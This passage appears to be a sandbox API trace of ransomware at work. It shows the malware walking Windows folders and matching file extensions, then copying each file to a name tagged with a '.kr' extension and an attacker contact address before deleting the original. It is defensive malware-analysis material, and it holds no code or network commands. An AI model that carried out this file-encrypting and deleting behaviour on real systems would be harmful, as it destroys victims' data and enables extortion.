[0218.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.007] lstrlenW (lpString=".1cd") returned 4 [0218.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.007] lstrlenW (lpString=".jpg") returned 4 [0218.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.007] lstrlenW (lpString=".doc") returned 4 [0218.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.007] lstrlenW (lpString=".docx") returned 5 [0218.008] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0218.008] lstrlenW (lpString=".pdf") returned 4 [0218.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.008] lstrlenW (lpString=".xls") returned 4 [0218.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.008] lstrlenW (lpString=".xlsx") returned 5 [0218.008] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0218.008] lstrlenW (lpString=".ppt") returned 4 [0218.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.008] lstrlenW (lpString=".zip") returned 4 [0218.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.008] lstrlenW (lpString=".rar") returned 4 [0218.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.008] lstrlenW (lpString=".bz2") returned 4 [0218.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.008] lstrlenW (lpString=".7z") returned 3 [0218.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.008] lstrlenW (lpString=".dbf") returned 4 [0218.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.008] lstrlenW (lpString=".1cd") returned 4 [0218.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68 [0218.008] lstrlenW (lpString=".jpg") returned 4 [0218.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.008] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0218.008] lstrlenW (lpString="J0152704.WMF") returned 12 [0218.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.010] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1652) returned 1 [0218.010] CloseHandle (hObject=0x388) returned 1 [0218.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 0x220 [0218.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0218.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.021] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.021] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0218.022] GetLastError () returned 0x0 [0218.022] ReadFile (in: hFile=0x388, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x674, lpOverlapped=0x0) returned 1 [0218.024] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x680, lpOverlapped=0x0) returned 1 [0218.024] ReadFile (in: hFile=0x388, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0218.025] WriteFile (in: hFile=0x51c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0218.025] SetEndOfFile (hFile=0x51c) returned 1 [0218.025] CloseHandle (hObject=0x51c) returned 1 [0218.025] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.025] SetEndOfFile (hFile=0x388) returned 1 [0218.028] CloseHandle (hObject=0x388) returned 1 [0218.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0218.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0218.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.029] lstrlenW (lpString=".doc") returned 4 [0218.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.029] lstrlenW (lpString=".docx") returned 5 [0218.029] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0218.029] lstrlenW (lpString=".pdf") returned 4 [0218.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.029] lstrlenW (lpString=".xls") returned 4 [0218.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.029] lstrlenW (lpString=".xlsx") returned 5 [0218.029] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0218.029] lstrlenW (lpString=".ppt") returned 4 [0218.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.029] lstrlenW (lpString=".zip") returned 4 [0218.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.030] lstrlenW (lpString=".rar") returned 4 [0218.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.030] lstrlenW (lpString=".bz2") returned 4 [0218.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.030] lstrlenW (lpString=".7z") returned 3 [0218.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.030] lstrlenW (lpString=".dbf") returned 4 [0218.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.030] lstrlenW (lpString=".1cd") returned 4 [0218.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.030] lstrlenW (lpString=".jpg") returned 4 [0218.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.030] lstrlenW (lpString=".doc") returned 4 [0218.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.030] lstrlenW (lpString=".docx") returned 5 [0218.030] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0218.030] lstrlenW (lpString=".pdf") returned 4 [0218.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.030] lstrlenW (lpString=".xls") returned 4 [0218.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.030] lstrlenW (lpString=".xlsx") returned 5 [0218.030] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0218.030] lstrlenW (lpString=".ppt") returned 4 [0218.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.030] lstrlenW (lpString=".zip") returned 4 [0218.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.030] lstrlenW (lpString=".rar") returned 4 [0218.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.031] lstrlenW (lpString=".bz2") returned 4 [0218.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.031] lstrlenW (lpString=".7z") returned 3 [0218.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.031] lstrlenW (lpString=".dbf") returned 4 [0218.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.031] lstrlenW (lpString=".1cd") returned 4 [0218.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0218.031] lstrlenW (lpString=".jpg") returned 4 [0218.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.031] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0218.031] lstrlenW (lpString="J0152708.WMF") returned 12 [0218.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.032] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4908) returned 1 [0218.032] CloseHandle (hObject=0x388) returned 1 [0218.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220 [0218.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0218.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.033] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.033] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0218.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0218.034] GetLastError () returned 0x0 [0218.034] ReadFile (hFile=0x388, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0) Thread: id = 50 os_tid = 0xe58 [0174.914] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x43d0048 [0174.914] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x43e0050 [0174.915] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a990 [0174.915] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcef8 [0174.915] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a8a0 [0174.915] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x45d2020 [0174.917] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a9c0 [0174.917] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a9c0, Size=0x20) returned 0x45dd08 [0174.917] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a8b8 [0174.917] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a8b8, Size=0x20) returned 0x45de48 [0174.918] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.918] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.918] Wow64DisableWow64FsRedirection (in: OldValue=0x39fff50 | out: OldValue=0x39fff50*=0x0) returned 1 [0174.918] lstrlenW (lpString="kernel32.dll") returned 12 [0174.918] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd08 | out: hHeap=0x420000) returned 1 [0174.918] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.918] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45de48 | out: hHeap=0x420000) returned 1 [0174.918] Sleep (dwMilliseconds=0x64) [0175.176] Sleep (dwMilliseconds=0x64) [0175.456] lstrcmpiW (lpString1=".LOG", lpString2=".kr") returned 1 [0175.456] lstrlenW (lpString="BCD.LOG") returned 7 [0175.456] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.456] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.456] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.456] lstrlenW (lpString=".doc") returned 4 [0175.456] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0175.456] lstrlenW (lpString=".docx") returned 5 [0175.456] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0175.456] lstrlenW (lpString=".pdf") returned 4 [0175.456] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0175.456] lstrlenW (lpString=".xls") returned 4 [0175.456] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0175.456] lstrlenW (lpString=".xlsx") returned 5 [0175.456] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0175.456] lstrlenW (lpString=".ppt") returned 4 [0175.456] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0175.456] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.456] lstrlenW (lpString=".zip") returned 4 [0175.456] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0175.456] lstrlenW (lpString=".rar") returned 4 [0175.456] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0175.456] lstrlenW (lpString=".bz2") returned 4 [0175.457] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0175.457] lstrlenW (lpString=".7z") returned 3 [0175.457] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0175.457] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.457] lstrlenW (lpString=".dbf") returned 4 [0175.457] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0175.457] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.457] lstrlenW (lpString=".1cd") returned 4 [0175.457] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0175.457] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.457] lstrlenW (lpString=".jpg") returned 4 [0175.457] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0175.457] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.457] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.457] lstrlenW (lpString=".doc") returned 4 [0175.457] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0175.457] lstrlenW (lpString=".docx") returned 5 [0175.457] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0175.457] lstrlenW (lpString=".pdf") returned 4 [0175.457] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0175.457] lstrlenW (lpString=".xls") returned 4 [0175.457] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0175.457] lstrlenW (lpString=".xlsx") returned 5 [0175.457] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0175.457] lstrlenW (lpString=".ppt") returned 4 [0175.457] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0175.457] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.457] lstrlenW (lpString=".zip") returned 4 [0175.457] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0175.457] lstrlenW (lpString=".rar") returned 4 [0175.457] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0175.457] lstrlenW (lpString=".bz2") returned 4 [0175.458] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0175.458] lstrlenW (lpString=".7z") returned 3 [0175.458] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0175.458] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.458] lstrlenW (lpString=".dbf") returned 4 [0175.458] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0175.458] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.458] lstrlenW (lpString=".1cd") returned 4 [0175.458] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0175.458] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0175.458] lstrlenW (lpString=".jpg") returned 4 [0175.458] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0175.458] Sleep (dwMilliseconds=0x64) [0175.739] Sleep (dwMilliseconds=0x64) [0176.007] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.007] lstrlenW (lpString="Alphabet.xml") returned 12 [0176.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0176.008] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=791421) returned 1 [0176.008] CloseHandle (hObject=0x38c) returned 1 [0176.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0176.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.008] lstrlenW (lpString=".doc") returned 4 [0176.009] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString=".docx") returned 5 [0176.009] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0176.009] lstrlenW (lpString=".pdf") returned 4 [0176.009] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString=".xls") returned 4 [0176.009] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString=".xlsx") returned 5 [0176.009] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0176.009] lstrlenW (lpString=".ppt") returned 4 [0176.009] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.009] lstrlenW (lpString=".zip") returned 4 [0176.009] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.009] lstrlenW (lpString=".rar") returned 4 [0176.009] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString=".bz2") returned 4 [0176.009] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString=".7z") returned 3 [0176.009] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.009] lstrlenW (lpString=".dbf") returned 4 [0176.009] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.009] lstrlenW (lpString=".1cd") returned 4 [0176.009] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.009] lstrlenW (lpString=".jpg") returned 4 [0176.009] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.009] lstrlenW (lpString=".doc") returned 4 [0176.010] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.010] lstrlenW (lpString=".docx") returned 5 [0176.010] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0176.010] lstrlenW (lpString=".pdf") returned 4 [0176.010] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.010] lstrlenW (lpString=".xls") returned 4 [0176.010] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.010] lstrlenW (lpString=".xlsx") returned 5 [0176.010] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0176.010] lstrlenW (lpString=".ppt") returned 4 [0176.010] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.010] lstrlenW (lpString=".zip") returned 4 [0176.010] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.010] lstrlenW (lpString=".rar") returned 4 [0176.010] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.010] lstrlenW (lpString=".bz2") returned 4 [0176.010] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.010] lstrlenW (lpString=".7z") returned 3 [0176.010] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.010] lstrlenW (lpString=".dbf") returned 4 [0176.010] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.010] lstrlenW (lpString=".1cd") returned 4 [0176.010] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0176.010] lstrlenW (lpString=".jpg") returned 4 [0176.010] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.011] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.011] lstrlenW (lpString="Content.xml") returned 11 [0176.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0176.011] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=27045) returned 1 [0176.011] CloseHandle (hObject=0x38c) returned 1 [0176.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0176.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[blablacar@airmail.cc].kr" 